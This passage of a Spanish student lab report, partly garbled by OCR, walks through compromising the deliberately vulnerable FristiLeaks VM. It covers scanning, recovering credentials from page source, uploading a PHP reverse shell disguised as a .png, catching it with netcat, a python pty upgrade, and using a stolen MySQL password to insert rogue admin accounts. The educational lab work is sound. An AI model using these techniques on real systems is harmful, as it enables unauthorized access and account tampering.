varios archivos. Si se emplean banderas, el orden de estas determina la forma en que se presenta
la salida. Una palabra se define como una cadena de caracteres delimitada por espacios,
tabulaciones o saltos de linea y cuando se especifican archivos en la linea de comandos, sus

nombres aparecen junto a los valores obtenidos.

5.6.2 Ejemplo, opciones de comandoy su uso
Las opciones de comando que encontramos las mostraremos a continuacion junto con un

ejemplo de como se aplicarian al hacer una practica tal cual como lo veran a continuacion.



Tabla 6. Ejemplo, opciones de comandoy su uso

Opcion Descripcion

Ejemplo

-C Muestra el nimero de bytes del archivo wc -c ejemplo.txt
-1 Muestra el nimero de lineas wc -l ejemplo.txt
-m Muestra el nimero de caracteres wc -m ejemplo.txt
-W Muestra el nimero de palabras wc -w ejemplo.txt
-L Longitud de la linea mas larga del archivo wec -L ejemplo.txt




5.7. Subcapitulo 3: Creacion de Usuarios en la Maquina Fristileaks
El jueves cuatro del mes en curso en la clase de auditoria de redes, realizamos una
laboratorio de hacking ético en donde vulneramos una pagina web por defecto de Fristileaks,
este capitulo del informe lo dedicaremos especificamente a replicar dicho laboratorio

entendiendo que se descartar algunas cosas hechas en clase.

5.7.1 Configuracion de Fristileaks

Para este paso lo que se hizo fue instalar el archivo punto evo contenedor de una maquina
virtual bastante necesaria para esta practica, lo que se hizo fue ingresar a nuestra VirtualBox,
ingresamos en la configuracion de red y cambiamos el conectado a Red NAT, luego cambiamos

la direccién Mac por la que nos dio el profe. Tal como se ve en la imagen.
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18 Habilitar controlador USB

O Controlador USB 1.1 (OHCI

# oo LT NBNEOOOAE

Invalid settings detected

Conceler | yuda

B 10310.m
A @ L TR e B

Figura 117. Configuraciones Previas a Nuestro Laboratorio

Luego de este proceso encendimos nuestra maquina de Fristileaks y revisamos que ya nos

estuviera dando una direccion ip del segmento Red NAT configurado.



hanks to dqi and barrebas for testing!?

IP address:192.1.1.12
localhost login:

Fristileaks 1.3 wvulnerable UM by ArB=xh.

IGoal: get root (wid BA) and read the flag file
Thanks to dgi and barrebas for testing!?

1P address:192.1.1.12
localhost login:

Figura 118. Direccion Obtenida En Fristileaks

Después de obtenida la direccién abrimos nuestro Kali Linux e hicimos el siguiente
proceso, se realizo un escaneo de direccion ip con nmap -Sv a la direccion ip 192.1.1.0/24,
esto nos permitiria obtener una lista de direcciones conectadas a este segmento de red y algunos

de sus versiones.

root@kali: /home/kali
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/home/kali

V 192.1.1.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-04 10:29 -05
Nmap scan report for 192.1.1.1
Host is up (0.00063s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp filtered domain
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)

Nmap scan report for 192.1.1.2
Host is up (0.0021s latency).

Not shown: 998 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds?

MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)
Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

Nmap scan report for 192.1.1.3

Host is up (0.00013s latency).

All 1000 scanned ports on 192.1.1.3 are in ignored states.

Not shown: 1000 filtered tcp ports (proto-unreach)

MAC Address: 08:00:27:9E:C9:73 (PCS Systemtechnik/Oracle VirtualBox virtual N
1c)

Nmap scan report for 192.1.1.13
Host is up (0.0000080s latency).

Figura 119. Escaneo de red Con Nmap -sV



Nmap scan report for 192.1.1.12
Host is up ( 5s latency).
n: gc-b filtered tcp ports (no-response), 13 filtered tcp ports (host-

PHP/5.3
Virtua

3 are in ignored states.
cp ports (1 )

ice detection performed. Please report any incorrect results at https
map.org/submit/ .
Nmap done: 256 IP addresses (5 hosts up) scanned in 19.90 seconds

Figura 120.1 Escaneo de red Con Nmap -sV

Luego de indagar que en la ip 192.1.1.12 estaba corriendo el servicio apache en su
puerto predeterminado, abrimos una el navegador de Kali e ingresamos en la barra de busqueda

la ip antes mencionada.

& | 19211.92] x| +

& C @ Q & 1921112

OffSec Kali Linux §8 KaliTools =« Kali Docs ¥ KaliForums e\ Kali NetHunter #- Exploit-DB Google Hacking DB

The #fristileaks motto:

&

KEEP
CALM

DRINK
FRISTI

Figura 121. Visualizacion de la Pagina por Defecto De Apache.

Luego revisamos el cddigo fuente a ver si encontrabamos algin dato filtrado y al no
hallar ninguno se procedi6 a copiar la url para realizar un mapeo de subdominios que permitira

encontrar aun dado importante dentro de los posibles sub dominios que encontraramos.



C @ A view-source:http:/192:1.1:12f

OffSec Kali Linux g8 Kali Toc o

1921112 Switch to Tab
§ Wikipedia — v
YouTube —

Reddit — re

Add-ons for Fire

j This t

Figura 122. Revision Del Codigo Fuente y Copia de la Url Para su Escaneo

Después de que se copid la ruta, fuimos a escanear a ver si existia algun subdomido en
esa ip o url para mirar cuantos directorios ocultos pudiese haber para ello lo que hicimos fue

emplear diccionario llamado dirb.

root@kali: /home/kali
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URL_BASE: http://192.1.1.12/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

—— Scanning URL: http://192.1.1.12/ —

+ http://192.1.1.12/cgi-bin/ ODE:403|SIZE:210)
—> DIRECTORY: http://192.1.1.12/images/

+ http://192.1.1.12/index.html (CODE:200|SIZE:703)
+ http://192.1.1.12/robots.txt (CODE:200|SIZE:62)

—— Entering directory: http://192.1.1.12/images/ ——

(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

END_TIME: Tue Sep 9 ©5:41:53 2025
DOWNLOADED: 4612 - FOUND: 3

/home/kali

Figura 123. Revision de Diccionario Dirb

Después de ejecutar dirb para identificar directorios en el servidor, procedimos a realizar

la revision de algunas presentes en la libreria estas listas de palabras que incluye la herramienta



en la ruta /usr/share/dirb/wordlists. Que son diccionarios que el docente decia que nos servian
para realizar un sinfin de hackeos y que incluso podriamos realizar nuestros propios diccionarios

ya que algunos como common.txt. contenian palabras comunes en utilizadas en los directorios.

5 403 Forbidden X +

€« C @ O & 1921112
OffSec Kali Linux #& KaliToels « Kali s T Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB

Forbidden

You don't have permission to access fcgl-bin/ on this server

Figura 124. Ingresamos a Una de Las Rutas Encontradas en el Escaneo

Al intentar ingresar de forma directa a la ruta que nos encontremos lo que nos mostré que
no teniamos el permiso para poder ingresa a este sitio por lo que se procedi6 a escaner esta nueva

ruta para ver que otras rutas se podran encontrar y de nuevo nos encontramos con una ruta vacia
92.1.1.12/cgi-bin/

The Dark Raver

TART_TIME: Tue 5¢ A6:83:21 2825
IRL_BASE: http 2.1.1. cgi-bin/
YORDLIST_FILES: |, r/share/dirb/wordlists/common.tx

ENERATED WORDS: 4612

Scanning URL: http://192.1.1.12/cgi-bin/ —

Figura 125.Escaneo de la Nueva Ruta



Se procedid entonces a hacer un mapeo a la ruta anterior, pero con un nuevo directorio

llamado imagen, que no arrojo nada.

root(@kali: fhomefkali
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= /home/kali

mages/

12/images/
: Jusr/share/dirb/wordlists,/common.txt

GENERATED WORDS: 4612

—— Scanning URL: http

END_TIME: Ti
DOWNLOADED:

/home/kali

Figura 126. Escaneo e la ruta imagen

Lo que posterior mente se hizo fue abrir la ruta para comprobar que existiese algun

archivo dentro de es ruta, esto derivo en que efectivamente existian dos imagenes en dicha ruta.

C @ O A 1921112

Kali Linux #& KaliTools = Kali Doc

Index of /images

Name Last modified Size Description

8 Parent Directory -

@ 3037440.jpg 25-Mov-2015 03:50 105K
@mp-ca]m.p_ng 17-Mov-2013 12:20 34K

Figura 127. Archivos Encontrados.



S mEm P O] il o© a2 @ s

O  3037440.pg (JPEGImage, 4 X +

"W Capturade pantalla tomada
& C @ O A& 1921112 § k- P P

OffSec KaliLinux #8 KaliTools ¢ KaliDocs &

THIS IS NOT'THE

" s
YOU WERE LOOKING™
FOR .o

memegenerator.net

Figura 128. Revision la Imagen 1 de Los Archivos.

&« C O & 1921112 60% T c

OffSec KaliLinux #8 KaliTools = KaliDocs M Kali Forums e Kali MetHuntd

KEEP

CALM

AND

DRINK
FRISTI

Figura 129. Revision la Imagen 2 de Los Archivos.

Al revisar estas imagenes no encontramos nada interesante por lo precedi a intentar abrir

la ruta http:192.1.1.12/fristi



B | 1921.1.12/fristi/ |t

OffSec Kali Linux

« C @ O & 1921112 70% ¥y ® ® 9
&

KaliTools <« KaliDocs ¥ Kali Forums X Kali NetHunter

Welcome to #fristileaks admin portal

Member Login
Username : |
Password : |

(Login]

Figura 130. Revision de la ruta http:192.1.1.12/fristi

Esta ruta nos mostré un login del cual no teniamos ni usuario ni contraseia, lo que nos
llevé a intentar conseguir ese usuario y la contrasefia necesaria, lo primero que se hizo aqui fue
inspeccionar el Codigo fuente.

C @ & view-source:http://192.1.1.12/fristi/

OffSec Kali Linux #5 KaliTools <« KaliDocs ¥ Kali Forums e\ Kali NetHunter Exploit-D Google Hacking DB

to #fri
:img/

Figura 131. Inspeccion de la ruta antes mencionada



En esta inspeccion si tuvimos €xito que encontramos mas datos, ejemplo de ello es que en
uno de los comentarios que estaba en el Codigo fuente encontramos el usuario los datos

encontrados los pegamos en un blog de nota.

Figura 132. Imagen Codificada

Aqui nos encontramos una imagen codificada que posiblemente podria contener los datos
de usuario contraseia asi que lo que se hizo fue intentar encontrar en que formato estaba ya que
el texto estaba en formato base 64 y que contenia, debido hace procedimos a buscar las paginas

necesarias. Para resumir, luego de probar convertirla de a pnj descubrimos que dicha imagen

estaba en formato png.

€«s0C0 R ——— 5o

N Ka Unx @ Kai ook [ Kaii Docs R KaiForums: 3 KaliNesunter & Expioit08  Google Hackng D8 () Ofsec

7xae
[PUASLaLLBZrgTAGST ATk LT bR TRCAP VeSS Ty V2T keKkeKKeKKeKkEKKEK
Cuaesriine
910355y TIVE - GRTSUCATS~55// Ty QU NOSLISSTRDEUS ST2R APIDSAOAL
alEgbcsuscui
AT A oA a8 ARG A LATOREAL A ERAP AL A GRS T
2x
OulscAes 10DuTK Al 1AL 1EQBO AQALTTEQRc SASCLMANSRY AABFr QRaz1 L
e

) (#) [

Figura 133. Convertimos de PNG



Aqui ya habiamos encontrado el usuario y la contrasena, lo siguiente fue devolvernos a la

ruta http:192.1.1.12/fristi y revisar si esta si era las credenciales.

192.1.1.12.

i Docs X Kali Forums o Kali NetHunter Exploit-DB Google Hacking DB

Welcome to #fristileaks admin portal

Member Login
Username :

Password

Figura 134. Credenciales Probadas.
|

Login successful

upload file

Figura 135. Ingreso Con Dichas Credenciales Exitoso

Al intentar ingresar con dichas credenciales nos encontramos con que, si eran las

credenciales correctas, entonces le dimos clic subir archivos y nos llevo a la siguiente pagina

1921112 ffristifupload.php X+

O & 1921112

Kali Linux #& KaliTools <« Kali s % Kali Forums & Ka

Select image to upload:
| Browse.... | Mo file selected. | Upload Image |

Figura 136. Seccion Para Cargar Archivos

La pagina nos mandd a una seccion donde podiamos cargar una, el docente Rafael S

Morales nos Explicé con un ejemplo que en clase que en dicha pagina no podiamos subir



imagenes en un formato que no fuese de imagen, el ejemplo consistio en subir cualquier archivo

que no estuviera en ese formato a ver qué pasaba y lo que paso fue esto.

OffSec KaliLinux # KaliTools = KaliDocs & Kali Forums &

Select image to upload:
| Browse.... | php-reverse-shell php | Upload Image |

Figura 137. Intento de Subir un Archivo en un Formato Distinto

Kali Linux #& KaliTools = KaliDocs X Kali Forums e Kali Net

Sorry, is not a valid file. Only allowed are: png,jpg,gif
Sorry, file not uploaded

Figura 138. Mensaje Obtenido.

Lo que obtuvimos fue un mensaje de denegacion en donde nos decias que no era posible

subir ese formato.

5.7.2 Procesos Realizados en Kali Linux Como vulneracion Directa

root@kali: fusr/sharefwebshells/php

Archivo Acciones Editar Vista Ayuda
[sudo] contrasena para kali:
/home/kali
/usr/share/webshells

/usr/share/webshells

/usr/share/webshells

/usr/share/webshells/php

php ell.php simple-backdoor.php
php-backdoor.php gsd-php- or.php

/usr/share/webshells/php

Figura 139. Buscamos Nuestro Archivo php-Reverse



Para comenzar este proceso, lo primero que debemos hacer es ingresar al modo super
usuario, luego de estar aqui ingresamos la ruta /usr/share/webshells/ (flecha azul) , luego de
realizar lo que hicimos fue listas con el comando Is (flecha naranja) los archivos presentes en
esta, utilizando el comando cd php (flecha verde) accedimos a este archivo y listamos de nuevo

los archivos que tenga este directorio.

/usr/share/webshells/php
php-reverse-shell.php /home/kali/Escritorio

/usr/share/webshells/php
/home/kali/Escritorio

/home/kali/Escritorio

~

php-reverse-shell.php /home/kali/Escritorio
cp: no se puede efectuar “stat' sobre 'php-reverse-shell.php’': No existe el 4
ichero o el directorio

/home/kali/Escritorio
php-reverse-shell.php

~

Figura 140. Movemos Nuestro Archivo al Escritorio

Luego de estar en el directorio php y listarlo, movimos el archivo php-Reverse-shell.php
a nuestro escritorio este archivo nos permite hacer una conexion inversa de maquina a maquina,

me refiero a que por medio del archivo vamos a poder tener acceso a la otra maquina

~

/home/kali/Escritorio

/home/kali/Escritorio

php-reverse-shell.php fotohot.php.png

/home/kali/Escritorio

Figura 141. Disfrazar La Shell En PHP Como Si Fuera Una Imagen



Aqui copiamos el archivo php-reverse-shell.php y lo guardamos con el nombre
fotohot.php.png. Esto sirve para disfrazar la shell en PHP como si fuera una imagen, lo cual

es util si el sistema victima solo permite subir imagenes y bloquea archivos Nano

fotohot.php.png

/home/kali/Escritorio

fotohot.php.png

Figura 142. Contenido de la Reverse Shell

Con este comando abrimos el archivo fotohot.php.png en el editor de texto Nano. Desde
aqui podemos modificar el contenido de la reverse Shell, por ejemplo, cambiando la direccion IP
de nuestra maquina atacante y el puerto en el que escucharemos la conexion. Este paso es clave

para personalizar el ataque.

root@kali: /home/kali/Escritorio
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GNU nano 8.4 fotohot.php.png *
The recipient will be given a shell running as the current user (apache nj

Limitations

proc_open and stream_set_blocking require PHP version 4.3+, or 5+
Use of stream_select() on file descriptors returned by proc_open() will f§
Some compile-time options are needed for daemonisation (like pcntl, posixi

Usage

See if you get stuck.

set_time_limit (0);

$VERSION = "1.0";

$ip = '192 .1.13'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;

$write_. ull;

$error_. null;

$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;

$debug = 0;

//

BE Ayuda B¢ Guardar B Buscar B¥ cortar B Eiecutar
@ Salir My Leer fich. | Reemplazar QI Pegar B8 Justificar

Figura 143. Modificacion Del Contenido de la Reverse Shell

Con este comando se abri6 el archivo fotohot.php.png en el editor Nano. En su interior se
encuentra el codigo de una reverse shell en PHP. Desde este archivo podemos personalizar la

conexion maliciosa, modificando parametros como la direccion IP ($ip = '192.1.1.13";) que



corresponde a la maquina atacante y el puerto ($port = 1234;) donde se recibiré la conexion.
Estas modificaciones son esenciales para que el shell inverso se conecte correctamente a nuestro
sistema, permitiéndonos obtener acceso remoto al servidor comprometido.

2 192.1.1.1:

Kali Linux # KaliTools = KaliDocs & Kali Forums e Kali NetHu

Select image to upload:
| Browse... | Mo file salectad. | Upload Image |

Figura 144. Accedemos a la Pagina Upload.Php

En este paso accedemos a la pagina upload.php del servidor victima, ubicada en la
direccion 192.1.1.12/fristi/upload.php. Desde esta interfaz web es posible subir archivos al
servidor, lo que representa una vulnerabilidad importante. Aqui se aprovecha la opcidn de carga
de imagenes para subir nuestro archivo malicioso fotohot.php.png, el cual contiene la reverse

shell configurada previamente.

= 192.1.1.12/fristi/do_upload.p! X +
%

& 1921112

OffSec Kali Linux #& KaliTools = KaliDocs % Kali Forums ex Kali NetH

Uploading, please wait
The file has been uploaded to

Figura 145. do_upload.php Reemplazamos Por /Uploads

Una vez cargado el archivo malicioso mediante el formulario de subida, el sistema
confirma que la operacion fue exitosa mostrando el mensaje “The file has been uploaded to

/uploads”. Esto significa que nuestro archivo fotohot.php.png se encuentra almacenado en el



directorio /uploads del servidor victima. Luego lo que hicimos fue copia lo que sombreamos con

azul, borramos del navegador hasta el do_upload.php y reemplazamos por /uploads

)

192.1.1.12/fristifuploads/

Kali Linux #& Kali Tools * Kali Forums & Ka

nol

Figura 146. Ejecutamos el archivo

Al intentar acceder directamente al directorio uploads mediante la URL
192.1.1.12/fristi/uploads/, el servidor responde con el mensaje “no!”. Esto indica que el listado
de archivos dentro de esa carpeta esta restringido, impidiendo ver qué contenido se ha subido.
Sin embargo, esto no significa que el archivo malicioso no est¢ alli; si hicimos tod el proceso bin
aqui ta deberiamos estar dentro de nuestra maquina de fisti, simplemente el directorio no muestra
un indice navegable. Luego ejecutamos el comando nc -1 1234 donde ingresamos el puerto que

configuramos en el nano.

/home/kali/Escritorio

fotohot.php.png|
/home/kali/Escritorio
host lookup failed: Unknown host

/home/kali/Escritorio

lookup failed: Unknown ho

from (UNKNOWN) [1
.6 1. MP Tue Nov 1@ 18:@1
6_64 GNU/Linux

load 0.00, 0.00, 0.00
LOGING IDLE JCPU PCPU WHAT
pa gid=4 ache) gr iche)
: no job rol in t
sh-4.1% I

Figura 147. Ingreso FristiLeaks



Con el comando Is -la (flecha naranja) listamos todos los archivos y carpetas del

[T

directorio actual, incluyendo los ocultos (los que empiezan con “.”). La opcion -la sirve para
mostrar detalles como permisos, propietario y tamafio de cada archivo. Esto nos ayuda a tener

una vision completa de qué hay disponible en la carpeta en la que estamos.

sh-4.1% 1s -&a\
1s -la

total 102
dr-xr-xr-x.
dr-xr-xr-x.
-TW-T—T—
—-I'W-T—T—
dr-xr-xr-x.
dr-xr-xr-x.
drwxr-xr-x
drwxr-xr-x.
drwxr-xr-x.
dr-xr-xr-x.
dr-xr-xr-x.

root root 96 11:34 .

root root 6 11:34 ..

root root 11:34 .autofsck
root root 2015 .autorelabel
root root 6 2015 bin

root root y 2015 boot

root root 11:34 dev

root root 11:34 etc

root root 2015 home
root root 2015 lib

root root : 2015 1ib64

VWOUNSOWUNERNN

drwx . 2 root root 2015 lost+found

drwxr-xr-x. 2 root root 6 2 2011 media
drwxr-xr-x. 3 root root 6 2015 mnt
drwxr-xr-x. 3 root root 6 2015 opt
root root 11:34 proc
root root 6 P 2015 root
2 root root 122 2015 sbin
2 root root 2015 selinux
2 root root 2011 srv
root root 11:34 sys
root root 09:20 tmp
root root 2015 usr
drwxr-xr-x. root root 6 2015 var
sh-4.1$ cd var
cd var

sh-4.1$ I

Figura 148.Comando Is -la

Después utilizamos el comando ed var Aqui nos movemos al directorio /var, que en
sistemas Linux suele contener datos y archivos relacionados con servicios, como logs o

contenido de servidores we



total 76
drwxr-xr-x.
dr-xr-xr-x.
drwxr-xr-x.
drwxr-xr-x.
drwxr-xr-x.
drwxr-
drwxr-xr-x.
drwxr-xr-x.
drwxr-xr-x.
drwxrwxr-x.
drwxr-xr-x.
Lrwxrwxrwx.
drwxr-xr-x.
drwxr-xr-x.
drwxr-xr-x.
drwxr-xr-x.
drwxr-xr-x.
drwxrwxrwt.
drwxr-xr-x.
drwxr-xr-x.
sh-4.1% cd www
cd vww

sh-4.1% i

root root

root root i

root root cache
root root db

root root empty
fristigod fristigod 2 fristigod
root root games
root root lib

root root local
root lock lock

root root log

root root mail — spool/mail
root root 2 nis

root root opt

root root 2 preserve
root root run

root root spool
root root tmp

root root v

root root yp

N

=

[

9
2
6
3
3
3
2
9
2
<
A
1
2
2
2
3
8

S NN

N

Figura 149. Accedemos A La Carpeta WWW

Dentro de /var, accedemos a la carpeta www usando el comando c¢cd www , que
normalmente es usada por los servidores web para alojar los sitios y aplicaciones que estdn en
ejecucion.

o

cgi-bin
error
html
icons
notes.txt

beer

cola
fristi
images
index.html
robots.txt
sisi

7
6
P
P
3
P
1
st
P

Figura 150. Entramos en HtmL

Después entramos en html, que suele ser la carpeta raiz ptblica del servidor web. Es aqui

donde se guardan los archivos que los usuarios ven cuando acceden al sitio desde el navegador.
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drwxr-xr-x. 3 root root 4096 Nov 17 2015 icons
-TW-r—Tr— 1 root root 98 Nov 17 2015 notes.txt
sh-4.1% cd html

cd html

sh-4.1% 1s -la

1s -la
total 36
drwxr-xr-x.
drwxr-xr-x.
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
-TW-Ir—Tr—

root root

root root 18

apache apache beer
apache apache cola
apache apache fristi
apache apache 7 images
apache apache index.html
-rw-r—r— apache apache robots.txt
drwxr-xr-x apache apache sisi
sh-4.1% cd fristi

cd fristi

HENWNNO N

N

-la

total 172
drwxr-xr-x
drwxr-xr-x.
-TW-r—r—.
-TwW-r—r——.

apache apache 4096

root root 4096 1

apache apache 1310 checklogin.php
apache apache 1216 do_upload.php
apache apache 14 index.php — main_login.php
apache apache 191 login_success.php
apache apache 45 logout.php

apache apache 1396 main_login.php
apache apache 131736 pic.b64

apache apache 1642 pic2.b64

apache apache 372 upload.php

apache apache 4096 uploads

-Irw-r—r—.
-ITw-r—r—.

-Iw-r—r—.
-Irw-r—r-—.
drwxrwxrwx.
sh-4.1% |1

N e ey W

Figura 151. Nos Movemos a la Carpeta Fristi

Nos movemos a la carpeta fristi, que corresponde a la aplicacion web FristiLeaks. Este es
el directorio especifico donde se encuentran los archivos PHP y demads recursos que hacen
funcionar el portal vulnerable. Usamos tambien el comando cat checklogin.php, con este
comando visualizamos el contenido del archivo checklogin.php, que contiene el codigo
encargado de manejar el proceso de inicio de sesion. Revisar este archivo es clave porque nos
permite entender como se validan las credenciales y por qué es posible manipularlas desde la

base de datos.

python -c 'import pty;pty.spawn("/bin/bash")'



Este comando se usa para mejorar la shell que tenemos. Muchas veces al obtener acceso
inicial a un sistema la consola es muy limitada (no soporta atajos, historial, etc.). Con esta
instruccion en Python, lo que hacemos es “invocar” una shell interactiva completa de bash, lo

que nos da mucho mas control.

root@kali: /home/kali/Escritorio
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mysql_select_db("$db_name” )or die("cannot select DB");

// Define $myusername and $mypassword
$myusername=$_POST[ ‘myusername’];
$mypassword=$_POST[ “mypassword’];

// To protect MySQL injection (more detail about MySQL injection)
$myusername = stripslashes($myusername);

$mypassword = stripslashes($mypassword);

$myusername = mysql_real_escape_string($myusername);

$mypassword = mysql_real_escape_string($mypassword);

$sql="SELECT * FROM $tbl_name WHERE username='$myusername’ and password='$mypassword"'";
$result=mysql_query($sql);

// Mysql_num_row is counting table row
$count=mysql_num_rows($result);

// If result matched $myusername and $mypassword, table row must be 1 row
if($count=1){

// Register $myusername, $mypassword and redirect to file "login_success.php”
session_register("myusername”)

session_register("mypassword”);

header("location:login_success.php”);

}

else {

echo "Wrong Username or Password”;

}

ob_end_flush();

Figura 152. Aqui Tratamos de Entrar al Servicio de Mysql Usando el Usuario Eezeepz

Aqui tratamos de entrar al servicio de MySQL usando el usuario eezeepz. Al usar la
opcion -p, MySQL nos pedird la contrasefia para autenticar.la contrasefa se segun el cat que
hicimo era 4113maal12#. Como ultimo paso introducimos la contrasena 4113maal12# para el
usuario eezeepz. Con estas credenciales, si son validas, logramos acceder al gestor de bases de

datos y desde ahi manipular directamente la informacién, como fue el caso de la tabla members.
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bash-4.1% mysql -u eezeepz -p
mysql -u eezeepz -p
Enter password: 4113maall2#

Welcome to the MySQL monitor. Commands end with ; or \g.

Your MySQL connection id is 9

Server version: 5.1.73 Source distribution

Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective

owners.

Type ‘help;" or ‘\h' for help. Type ‘\c' to clear the current input statement.

mysql>

Figura 153. Ingresamos MySQL

Para iniciar este procedimiento, lo primero que se realizo fue ejecutar el comando show
databases;, el cual permite visualizar todas las bases de datos disponibles en el servidor
MySQL. En la imagen se observa como el sistema devuelve la lista de bases, entre ellas la

llamada hackmenow, que ser4 la utilizada en este ejercicio.

mysql> SHOW DATABASES;
SHOW DATABASES;

Database

information_schema
hackmenow
+

rows in set (0.00 sec)

mysql>

Figura 154. Se Ejecuto El Comando Show Database

Una vez identificada la base de datos, el siguiente paso fue seleccionarla para trabajar

sobre ella. Para ello se emple6 el comando USE hackmenow;, que cambia el contexto actual



hacia dicha base de datos, asegurando que todas las consultas posteriores se realicen en ella,
Después de ingresar a la base de datos, se ejecutd el comando show tables;, cuyo propdsito es
mostrar las tablas disponibles en hackmenow. En esta captura se aprecia la tabla members, que

contiene la informacion de usuarios y contrasefias.

nysgql> SHOW TABLES;
SHOW TABLES;

| Tables_in_hackmenow

| members
1 row in set (@.08 sec)

nysgl>

Figura 155. Tabla Obtenida al Ejecutar Show Tables

Para conocer la estructura interna de la tabla encontrada, se utilizo el comando describe
members;. Este comando detalla los campos que componen la tabla, mostrando que posee

columnas como username y password, necesarias para el registro y validacion de usuarios.

mysql>

mysql> DESCRIBE members;
DESCRIBE members;
e}

Field

LA
Default | Extra
_—t
NULL |
NULL 5
NULL |

_-—

Type

id
username

int(4)
varchar(65)
varchar(65)

}
A
l auto_increment
|
|

ot o———

+

I
i
l
l
| password
i
3

rows in set (0.00 sec)

mysql> [}

Figura 156. Conoceremos La Estructura Interna De La Tabla Encontrada Usando El Comando Members



mysql>

mysql> SELECT * FROM members;

INSERT INTO members (username, password) VALUES ('usuariovictor®', ‘laboratoriol’);

INSERT INTO members (username, password) VALUES (’'usuariomanuel', ‘soyelnumero2’);SELECT * FROM members;
+ r-———————+

| id | username | password |

- r—

| 1 | eezeepz | keKkeKKeKKeKkEkkEk

+ e

1 row in set (0.00 sec)

toriol');SERT INTO members (username, password) VALUES ('usuariovictor', ‘labora
Query OK, 1 row affected (0.00 sec)

mysql> SELECT * FROM members;

umero2’ );SELECT * FROM members;password) VALUES ('usuariomanuel’, ‘soyeln
Query OK, 1 row affected (0.00 sec)

+ —_———+

| id | username | password

+ f—_
| | eezeepz | keKkeKKeKKeKkEkkEk
| | usuariovictor | laboratoriol

| | usuariomanuel | soyelnumero2
+ ——

3 rows in set (0.00 sec)

1
2
3

+

mysql>

Figura 157. De Observa el Trabajo Dentro de la Tabla Members y Nuestros Usuarios Registrados.

En esta captura se observa el trabajo dentro de la tabla members de la base de datos.
Inicialmente, se ejecutd el comando select * from members; para visualizar los registros

existentes, mostrando Uinicamente el usuario eezeepz con su respectiva contrasefia cifrada.

Posteriormente, se insertaron nuevos usuarios utilizando el comando insert into. El
primer registro aiadido fue usuariovictor con la contraseia laboratoriol, seguido de

usuariomanuel con la contrasefia soyelnumero2. Cada insercion fue confirmada con el mensaje

Finalmente, se volvid a ejecutar select * from members; para verificar los cambios. El
resultado muestra ahora tres registros en total: el usuario original eezeepz y los dos nuevos
usuarios creados (usuariovictor y usuariomanuel), confirmando que las operaciones de

insercion se realizaron correctamente.



5.7.3 Verificacion Del Registro de los Usuarios

Welcome to #fristileaks admin portal

Member Login

Username : [usuariovictor |

Password : |taboratorio| |

[Login|
Figura 158. Nos logueamos con el 1 usuario
En esta captura se ve la pagina de inicio de sesion del portal de FristiLeaks. Después de
haber creado al usuario usuariovictor con la contrasefia laboratoriol directamente en la base de

datos, aqui lo estamos probando en el formulario web.

Basicamente, lo que se hizo fue usar esas credenciales nuevas en el login y con esto
comprobar que el truco funcion6: los usuarios que insertamos manualmente en la tabla members
también son aceptados por la aplicacion web. Esto demuestra que teniamos control sobre la base

de datos y que era posible colar cuentas falsas para entrar al panel de administracion.

192.1.1.12/fristi/login_succe

Kali Linux g§& Kali To « Kali Docs % Kali Forums & Kali NetHunter Exploit-DB Google Hacking DB

Login successful

upload file

Figura 159. Verificacion Exitosa 2 Usuario

Luego de esto mostramos la prueba de lo que se hizo fue correcto ingresando y logueandome



& 1921112

Kali Forums o\ Kali NetHunter Exploit-DB Google Hacking DB

Member Login
Username : [usuariomanuel

Password  : [sopelnumero2 |

[tog]

Figura 160. Nos logueamos con el 2 usuario

En esta otra captura estamos probando el segundo usuario que insertamos en la base de
datos: usuariomanuel con la clave soyelnumero2. Igual que en el caso anterior, lo que hacemos
es ir al formulario de login de FristiLeaks y colocar las credenciales creadas manualmente en la
tabla members. Esto confirma que no solo funcion6 con un usuario, sino que cualquier cuenta
que afiadamos directamente en la base de datos queda lista para iniciar sesion en la aplicacion
web. En pocas palabras, teniamos control total para crear accesos “a la medida” dentro del

sistema.

N 192.1.1.12

Kali Linux @& KaliTools * KaliDocs M Kali Forums o Kali NetHunter Exploit-DB Google Hacking DB

Login successfial

Figura 161. verificacion Exitosa 2 Usuario

Por ultimo, mostramos que en este caso también funciono el proceso que hicimos , lo

mostramos ingresando a la pagina web.



6. Capitulo 6. Hacking Etico a Lampiao Utilizando Kali Linux

6.1. Introduccion

El presente informe documenta de manera detallada el proceso de identificacion, andlisis
y explotacion de vulnerabilidades sobre una maquina virtual deliberadamente vulnerable
(Metasploitable/Lampido) dentro de un entorno de laboratorio controlado. El ejercicio se
desarroll6 sobre una topologia de red montada en VirtualBox con adaptadores en modo NAT,
cumpliendo las condiciones y pautas establecidas por el docente para la practica académica.
Todas las acciones descritas en este informe se realizaron con fines estrictamente educativos y
bajo los principios éticos del pentesting autorizado: no se llevaron a cabo ataques contra sistemas

ni redes ajenos fuera del entorno provisto para la practica.

La finalidad técnica del trabajo fue aplicar y consolidar conceptos clave de la
ciberseguridad ofensiva: reconocimiento activo de la red y servicios, enumeracion de versiones,
busqueda y validacion de exploits conocidos, generacion de wordlists especificas y ejecucion de
payloads para obtener acceso remoto y escalada de privilegios. Para ello se emplearon
herramientas estandar del ecosistema de pruebas de intrusion —entre ellas Nmap para el
reconocimiento y fingerprinting, Metasploit Framework para la enumeracion y explotacion, y
utilidades como CeWL y Hydra para generacion de diccionarios y ataques de fuerza bruta—,
ademas de utilidades del sistema (scp, g++, mysql, editor de texto) durante la fase de post-

explotacion y verificacion.

Concluimos diciendo que este informe no solo registra las acciones realizadas y los
resultados obtenidos, sino que también extrae lecciones y recomendaciones de mitigacion

actualizacion de software, endurecimiento de servicios, uso de mecanismos de autenticacion



